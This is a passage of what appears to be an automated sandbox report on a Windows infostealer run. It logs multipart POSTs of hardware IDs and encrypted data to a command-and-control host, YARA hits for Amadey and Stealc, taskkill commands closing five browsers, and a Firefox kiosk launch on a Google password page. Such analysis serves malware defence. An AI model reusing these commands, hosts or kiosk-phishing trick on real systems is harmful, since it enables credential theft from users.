2024-10-31 19:53:10 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9o8og02krl9rh1mmgah0103g93; expires=Mon, 24-Feb-2025 13:39:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cAeTO70CsNqdvxetSWr7C2pwxvxQVYEx%2BNZTY7iYyBYp2eLn46CpkxSp0AIzyDRFSxtiexgJ1dD8%2By9zBkZTl45lfKqgrgJH3GSFZVE0RMo8WPzMD2pnpR1O8CxnPkelDRYtvdo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db6308afdf6e746-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1369&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21406&delivery_rate=2073013&cwnd=251&unsent_bytes=0&cid=bd9b95791dc974ea&ts=519&x=0"
2024-10-31 19:53:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:53:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49887	188.114.97.3	443	7632	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:53:10 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: necklacedmny.store
2024-10-31 19:53:10 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:53:11 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ikidek3vopbpfdr8de4di04ugl; expires=Mon, 24-Feb-2025 13:39:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EkXA4OjO9yJCISfKBpvE5RlnEufvsrIQx5J7YUYa7JvsAWaKymYY8s7MkjEieRteaaBCoouS%2F6zmZLXSXmdgFOJKSN4LJ38QA%2FQK8ovcD%2F%2BxZ1T10PM%2FqbYMXSqsTI6wbuG8gZ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db63092c90e2e75-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2204&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2189&delivery_rate=1282550&cwnd=245&unsent_bytes=0&cid=abbaf53da54940cd&ts=723&x=0"
2024-10-31 19:53:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:53:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49899	188.114.97.3	443	7632	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:53:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48521 Host: necklacedmny.store
2024-10-31 19:53:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:53:12 UTC	15331	OUT	Data Raw: a9 fd 3a 37 c7 5d 9e 0f b3 98 df 28 9c e1 b2 fd 6b fd 40 59 f3 e8 a2 f0 7a 7c 29 0a cd 87 6b c6 a5 89 a5 7f 8d 42 d4 4a 57 ba 26 c2 3c 00 75 7f 39 0b 07 e0 1e 2f 9e 36 88 43 94 48 22 91 5f 2f 3d be 57 96 28 02 9c 92 36 4b de 4f ed d2 0d 2a 40 04 8e ad 9f 6d e1 48 50 7f 8a 84 55 06 65 2e 0a 68 2c 65 12 a7 9a f9 c1 0a 76 83 2f 7f 20 70 96 9f 2c e9 21 28 bb 3b bc 99 b6 2b e7 e7 5e ad 20 13 3e c0 54 79 0b ac 7c d2 7b db bc 0c 81 e0 73 0e c7 12 d2 e9 5f a7 43 fd 46 3a 9e ee c1 45 52 87 e7 5e 15 d3 c6 95 74 78 7d 16 9b 84 e8 b7 af 02 dc 1e 6f 76 90 36 72 6f 9e d0 91 8f 76 87 c7 83 5b 62 8d 4a 1e 7d 60 1d 6d a0 cd 4c f6 ce dc 51 b3 98 02 c3 2a cd cb cd 13 33 24 b9 c7 9d 17 38 1e a0 59 40 30 39 9b 7c 4d b0 cf 42 06 f0 48 52 0e d5 d3 ac 92 9b 62 6f 59 42 4a da 99 Data Ascii: :7](k@Yz\|)kBJW&<u9/6CH"_/=W(6KO@mHPUe.h,ev/ p,!(;+^ >Ty\|{s_CF:ER^tx}ov6rov[bJ}`mLQ3$8Y@09\|MBHRboYBJ
2024-10-31 19:53:12 UTC	15331	OUT	Data Raw: 73 41 f9 76 5b 7a ad 2b e8 69 d9 3c 2d 23 ed 8c 11 1b 94 89 15 ed bc eb 76 c1 98 68 73 95 a5 43 22 d6 65 fa b7 1b 7f 46 b3 5e 04 72 24 db 20 97 d4 23 95 bb f4 2b 0b 39 fa a9 03 59 30 38 61 a1 12 7a df 2b b6 bd 78 04 67 61 27 0c b8 08 5f bf 7e 7d b1 55 fe 79 3d e6 ac 50 22 68 3d 0d bf 5c d8 d1 bd 04 ed 70 27 d1 b2 cd ac 1b 29 b9 6c a6 7f e3 07 f1 dd c3 46 e0 b9 29 90 2a f8 d0 c9 3f 52 24 ff 7e 09 e0 81 c6 1f c8 05 46 ef 36 9a 1c d4 12 ab b6 37 8d 18 4f 41 e9 29 a0 8b fa e9 bc 85 eb e3 db 67 9a 75 bc 13 c6 d3 1b af 79 77 0d 7f 56 2b 6e 72 60 84 4c 6f 1b 85 42 97 f4 75 d4 a0 79 ba 16 35 ca f6 c5 33 67 2a 75 7d 12 eb 6e 9b 8d cf db 6a 01 a7 d5 4d 97 19 76 2c 1a 64 33 31 3c 65 89 f7 c1 b8 9a 53 57 72 76 bd 1f 61 84 75 fc 47 53 56 f2 da cf d0 3c 36 fa c1 70 6b Data Ascii: sAv[z+i<-#vhsC"eF^r$ #+9Y08az+xga'_~}Uy=P"h=\p')lF)?R$~F67OA)guywV+nr`LoBuy53gu}njMv,d31<eSWrvauGSV<6pk
2024-10-31 19:53:12 UTC	2528	OUT	Data Raw: e4 b8 06 05 8b 18 36 c4 25 ac 6a e7 6e 74 aa 72 0e 05 65 a0 95 72 80 8f 80 87 d5 e2 1b c4 44 cb c3 3d 2e c9 f9 ec b3 dd 5d 5f c3 c8 8a 9d c9 8e dd 0e 23 6b 90 8a 0a 39 ac 17 4f cb 97 e6 2a c4 60 48 41 da a3 92 82 f6 ac 4f ba 11 a8 c1 68 13 85 6b b9 ab 7d ca d5 0e b7 a5 48 cc 55 71 52 66 60 5c 8d 91 36 0e d9 dd dc 65 a4 07 f9 15 48 a4 36 94 a2 ab b1 01 f4 81 8e cb 35 0c 9b 06 c9 0f 52 63 7e 15 0d da 41 89 f0 87 df 36 dd 10 ac c5 61 4d b7 ef 9b 5b c3 c9 51 e7 2b 7d 1f 53 55 cf bb 06 c1 9a db 8b 53 73 71 1d ba 60 b5 12 50 b1 80 dc c0 9b b9 52 6d 0a cf d3 4b 18 d5 f0 d6 a0 22 32 2a 07 32 b6 05 93 08 fd fe 65 85 dc 66 ef 2e 95 89 f1 94 12 d5 05 37 ba 21 9a 71 df 44 8e 61 96 42 f5 6f be 4c 8f d7 32 d7 5c 39 9b 8f 9d ff 25 92 37 72 65 02 b9 66 62 46 e2 6c ae 26 Data Ascii: 6%jntrerD=.]_#k9O`HAOhk}HUqRf`\6eH65Rc~A6aM[Q+}SUSsq`PRmK"22ef.7!qDaBoL2\9%7refbFl&
2024-10-31 19:53:13 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1tiiebvqgns3r23ujr760ff6bu; expires=Mon, 24-Feb-2025 13:39:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AalSmnVj5A%2BB4PNNcUyrFIgD8AUQGhRzneHQ%2FAg5XvRuiVTAVMB3lCEd1dMNJLSvtWRgWx0OLdxVS0gHksYFlIpla%2BTJz0bLPpjjqJSNsWOF1VLqQ20slXCsICq0YpAfqLXqyUk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db6309c5cfee706-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&sent=24&recv=56&lost=0&retrans=0&sent_bytes=2844&recv_bytes=49573&delivery_rate=1749848&cwnd=245&unsent_bytes=0&cid=e30c579952f10773&ts=1018&x=0"
2024-10-31 19:53:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:53:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:51:55
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\ykDoK8BtxW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ykDoK8BtxW.exe"
Imagebase:	0x780000
File size:	3'458'576 bytes
MD5 hash:	7CFE878555B8CC04FC52385219B423D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1651068675.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1671051580.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:51:57
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x2b0000
File size:	3'458'576 bytes
MD5 hash:	7CFE878555B8CC04FC52385219B423D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1675550950.0000000001100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	15:51:58
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x2b0000
File size:	3'458'576 bytes
MD5 hash:	7CFE878555B8CC04FC52385219B423D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1680029755.0000000001210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1681719913.00000000002B1000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:52:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x2b0000
File size:	3'458'576 bytes
MD5 hash:	7CFE878555B8CC04FC52385219B423D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1701815777.00000000002B1000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1699514471.00000000032D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:52:11
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"
Imagebase:	0x170000
File size:	2'940'416 bytes
MD5 hash:	90A33D2FA972C6879876CFD76B3BB7F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1901487712.0000000001226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1863552145.0000000001226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1881342956.0000000001226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1878298115.0000000001226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1864263167.0000000001226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.1895415115.0000000001226000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:52:17
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe"
Imagebase:	0x2d0000
File size:	2'131'968 bytes
MD5 hash:	508DC49E57681EA817BD36F9770AD609
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000002.1928139125.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000003.1886057556.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000002.1926357964.00000000002D1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:52:24
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"
Imagebase:	0x170000
File size:	2'940'416 bytes
MD5 hash:	90A33D2FA972C6879876CFD76B3BB7F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.1993668859.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2009268838.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2009379322.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.1975746842.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2035495629.000000000100D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2031020913.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.1993515475.000000000100D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2008006640.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2050299631.0000000001016000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.1975545494.000000000100D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:52:25
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe"
Imagebase:	0xb10000
File size:	919'552 bytes
MD5 hash:	8BF1CFA7A41EFE5704ABCEED80C69AB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:52:25
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:52:25
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:52:27
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:52:27
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:52:28
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:52:30
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2252 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f00b1ec6-11cd-45b2-bfc2-9bdb63de9eab} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba486dd10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
